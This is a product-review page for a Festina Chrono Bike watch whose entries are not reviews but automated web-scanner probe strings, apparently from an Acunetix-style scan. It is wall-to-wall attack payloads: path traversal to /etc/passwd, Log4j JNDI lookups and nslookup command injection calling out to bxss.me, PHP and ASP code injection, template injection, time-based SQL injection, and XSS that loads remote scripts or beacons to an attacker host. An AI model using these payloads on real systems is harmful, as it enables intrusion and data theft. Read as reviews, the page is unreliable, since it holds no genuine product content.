Product reviews for Festina Chrono Bike Watch

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

555

555

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

555

../555

./555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555<esi:include src="http://bxss.me/rpb.png"/>

555

555

${9999647+10000434}

555

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt?.jpg

bxss.me

555

555

555

555

YHWNEbuk

555

/../../../../../../../../../../windows/system32/BITSADMIN.exe

555

${j${::-n}di:dns${::-:}//hitxciburgsti96df0${::-.}bxss.me}zzzz

%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitdydyvnakks1aeba${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}//dns.log4j.009247.2510-132333.2510.8a82f${::-.}1${::-.}bxss.me}}

555

555

response.write(9240437*9258573)

'+response.write(9240437*9258573)+'

"+response.write(9240437*9258573)+"

555

555

555

echo bqnxxh$()\ medymi\nz^xyu||a #' &echo bqnxxh$()\ medymi\nz^xyu||a #|" &echo bqnxxh$()\ medymi\nz^xyu||a #

&echo lxhlox$()\ iefprk\nz^xyu||a #' &echo lxhlox$()\ iefprk\nz^xyu||a #|" &echo lxhlox$()\ iefprk\nz^xyu||a #

|echo cjqyaa$()\ wxhsak\nz^xyu||a #' |echo cjqyaa$()\ wxhsak\nz^xyu||a #|" |echo cjqyaa$()\ wxhsak\nz^xyu||a #

(nslookup hitmmywuzgjua14efa.bxss.me||perl -e "gethostbyname('hitmmywuzgjua14efa.bxss.me')")

$(nslookup hitddspbwbnpbfaf91.bxss.me||perl -e "gethostbyname('hitddspbwbnpbfaf91.bxss.me')")

&(nslookup hitwhznmwsgxpa98de.bxss.me||perl -e "gethostbyname('hitwhznmwsgxpa98de.bxss.me')")&'\"`0&(nslookup hitwhznmwsgxpa98de.bxss.me||perl -e "gethostbyname('hitwhznmwsgxpa98de.bxss.me')")&`'

|(nslookup hitaiqbeblgav83a31.bxss.me||perl -e "gethostbyname('hitaiqbeblgav83a31.bxss.me')")

`(nslookup hitzqhenviflw47264.bxss.me||perl -e "gethostbyname('hitzqhenviflw47264.bxss.me')")`

;(nslookup hitijnlwidpur06f0d.bxss.me||perl -e "gethostbyname('hitijnlwidpur06f0d.bxss.me')")|(nslookup hitijnlwidpur06f0d.bxss.me||perl -e "gethostbyname('hitijnlwidpur06f0d.bxss.me')")&(nslookup hitijnlwidpur06f0d.bxss.me||perl -e "gethostbyname('hitijnlwidpur06f0d.bxss.me')")

555

555

555

555

555

555

555

555

'.gethostbyname(lc('hitme'.'mlvhyfecea6bb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(104).chr(70).chr(109).chr(73).'

".gethostbyname(lc("hitih"."uunxggmg6de34.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(69).chr(98).chr(70)."

555

555

555&n986564=v958000

555

555

)

!(()&&!|*|*|

^(#$!@#$)(()))******

555

555

555

555

'"()

555

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

555

555

555

555

555

555

555

10

10/.

555

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

-1 OR 2+224-224-1=0+0+0+1 --

-1 OR 3+224-224-1=0+0+0+1 --

/xfs.bxss.me

-1 OR 3*2<(0+5+224-224) --

996345

-1 OR 3*2>(0+5+224-224) --

http://xfs.bxss.me

-1 OR 2+286-286-1=0+0+0+1

//xfs.bxss.me

-1 OR 3+286-286-1=0+0+0+1

/\xfs.bxss.me

-1 OR 3*2<(0+5+286-286)

555

-1 OR 3*2>(0+5+286-286)

555

-1' OR 2+862-862-1=0+0+0+1 --

555

-1' OR 3+862-862-1=0+0+0+1 --

555

-1' OR 3*2<(0+5+862-862) --

555

-1' OR 3*2>(0+5+862-862) --

-1' OR 2+189-189-1=0+0+0+1 or 'QZKEh6Fy'='

-1' OR 3+189-189-1=0+0+0+1 or 'QZKEh6Fy'='

-1' OR 3*2<(0+5+189-189) or 'QZKEh6Fy'='

-1' OR 3*2>(0+5+189-189) or 'QZKEh6Fy'='

-1" OR 2+226-226-1=0+0+0+1 --

-1" OR 3+226-226-1=0+0+0+1 --

-1" OR 3*2<(0+5+226-226) --

'"

-1" OR 3*2>(0+5+226-226) --

<!--

555

555

if(now()=sysdate(),sleep(15),0)

555

555'"()&%<acx><ScRiPt >eNYg(9443)</ScRiPt>

"+"A".concat(70-3).concat(22*4).concat(119).concat(80).concat(99).concat(76)+(require"socket"
Socket.gethostbyname("hitqi"+"rrkbtwfw7f693.bxss.me.")[3].to_s)+"

'"()&%<acx><ScRiPt >eNYg(9522)</ScRiPt>

'+'A'.concat(70-3).concat(22*4).concat(105).concat(67).concat(105).concat(83)+(require'socket'
Socket.gethostbyname('hitcx'+'almdezbn8e8b6.bxss.me.')[3].to_s)+'

5559561978

555

acu7192＜s1﹥s2ʺs3ʹuca7192

555

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

acux9180%C0%BEz1%C0%BCz2a%90bcxuca9180

<%={{={@{#{${acx}}%>

555

<th:t="${acx}#foreach

555

HttP://bxss.me/t/xss.html?%00

1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>

bxss.me/t/xss.html?%00

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

555

555

acx{{98991*97996}}xca

555

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt >eNYg(9876)</ScRiPt>

555<WFYPJM>WA3QF[!+!]</WFYPJM>

555<script>eNYg(9320)</script>

555<ScR<ScRiPt>IpT>eNYg(9059)</sCr<ScRiPt>IpT>

-1; waitfor delay '0:0:15' --

555<ScRiPt
>eNYg(9174)</ScRiPt>

555<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9344></ScRiPt>

555<isindex type=image src=1 onerror=eNYg(9216)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9608'>

-1); waitfor delay '0:0:15' --

555<body onload=eNYg(9916)>

555<img src=//xss.bxss.me/t/dot.gif onload=eNYg(9333)>

555<img src=xyz OnErRor=eNYg(9242)>

555<img/src=">" onerror=alert(9735)>

-1)); waitfor delay '0:0:15' --

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%4E%59%67%289090%29%3C%2F%73%43%72%69%70%54%3E

555\u003CScRiPt\eNYg(9314)\u003C/sCripT\u003E

555&lt;ScRiPt&gt;eNYg(9164)&lt;/sCripT&gt;

555&lt;ScRiPt&gt;eNYg(9164)&lt;/sCripT&gt;

1 waitfor delay '0:0:15' --

%F6<img acu onmouseover=eNYg(92131) //%F6>

555<input autofocus onfocus=eNYg(9436)>

<a HrEF=http://xss.bxss.me></a>

u37Y26uf'; waitfor delay '0:0:15' --

<a HrEF=jaVaScRiPT:>

555}body{acu:Expre/**/SSion(eNYg(9311))}

555K7UJW
<ScRiPt >eNYg(9427)</ScRiPt>

555<WYUMQ5>XNDIK[!+!]</WYUMQ5>

555<ifRAme sRc=9679.com></IfRamE>

UKsb64X3'); waitfor delay '0:0:15' --

555<avotsW4 x=9586>

555<img sRc='http://attacker-9006/log.php?

555<ayU0tWB<

555

KCMFF5Yw')); waitfor delay '0:0:15' --

555

555

555

x6jFicCO')); waitfor delay '0:0:17.644' --

555

555

555

555

-5 OR 408=(SELECT 408 FROM PG_SLEEP(15))--

555

555

555

555

-5) OR 220=(SELECT 220 FROM PG_SLEEP(15))--

555

555

555

-5) OR 480=(SELECT 480 FROM PG_SLEEP(15))--

555

555

555

555

-5) OR 770=(SELECT 770 FROM PG_SLEEP(8.822))--

555

555

555

-5) OR 631=(SELECT 631 FROM PG_SLEEP(17.644))--

555

555

555

-5) OR 857=(SELECT 857 FROM PG_SLEEP(0))--

555

555

-1)) OR 112=(SELECT 112 FROM PG_SLEEP(15))--

555

555

555

555

-1)) OR 749=(SELECT 749 FROM PG_SLEEP(15))--

555

555

-1)) OR 783=(SELECT 783 FROM PG_SLEEP(17.644))--

555

555

555

-1)) OR 281=(SELECT 281 FROM PG_SLEEP(0))--

555

555

555

555

lJhoJj2s' OR 767=(SELECT 767 FROM PG_SLEEP(15))--

555

555

555

555

5mp8BByf' OR 160=(SELECT 160 FROM PG_SLEEP(15))--

555

555

QcrADoqa' OR 898=(SELECT 898 FROM PG_SLEEP(17.644))--

bcmRcVUU' OR 610=(SELECT 610 FROM PG_SLEEP(8.822))--

bEm65p2M' OR 827=(SELECT 827 FROM PG_SLEEP(0))--

2UqDWRF0') OR 953=(SELECT 953 FROM PG_SLEEP(15))--

DXBxbh9H') OR 746=(SELECT 746 FROM PG_SLEEP(8.822))--

u0RThnIv') OR 228=(SELECT 228 FROM PG_SLEEP(0))--

niec6ugJ')) OR 971=(SELECT 971 FROM PG_SLEEP(15))--

oHx6s3yk')) OR 881=(SELECT 881 FROM PG_SLEEP(17.644))--

k6NNa5d3')) OR 992=(SELECT 992 FROM PG_SLEEP(15))--

TOqVa0st')) OR 80=(SELECT 80 FROM PG_SLEEP(8.822))--

iilsSOoM')) OR 579=(SELECT 579 FROM PG_SLEEP(0))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),8.822)

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),17.644)

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),0)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),17.644)||'

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),0)||'

1'"

1'"

@@I9j5z

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555

555